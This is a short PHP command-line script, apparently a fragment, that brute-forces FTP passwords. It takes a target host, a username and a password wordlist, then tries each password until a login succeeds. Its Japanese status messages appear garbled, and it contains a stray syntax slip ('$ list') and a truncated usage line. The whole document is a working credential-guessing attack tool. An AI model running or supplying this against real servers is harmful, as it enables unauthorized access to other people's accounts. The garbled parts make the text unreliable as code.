$site = $argv[1];
$username = $argv[2];
$list = $argv[3];
if((isset($site)) AND (isset($ list)) AND (isset($username))){
if (file_exists($list)){
$list = file($list);
$connection = ftp_connect($site) or die(" $site への接続を確立します");
foreach($list as $passwd){
if(@ftp_login($connection, $username, $passwd)){
die(" [成功] - $passwd") ;
} else {
print "[失敗] - $passwd
";
}
}
ftp_close($connection);
} else
die("不在総当たりのリスト");
} else
die("Us php
?>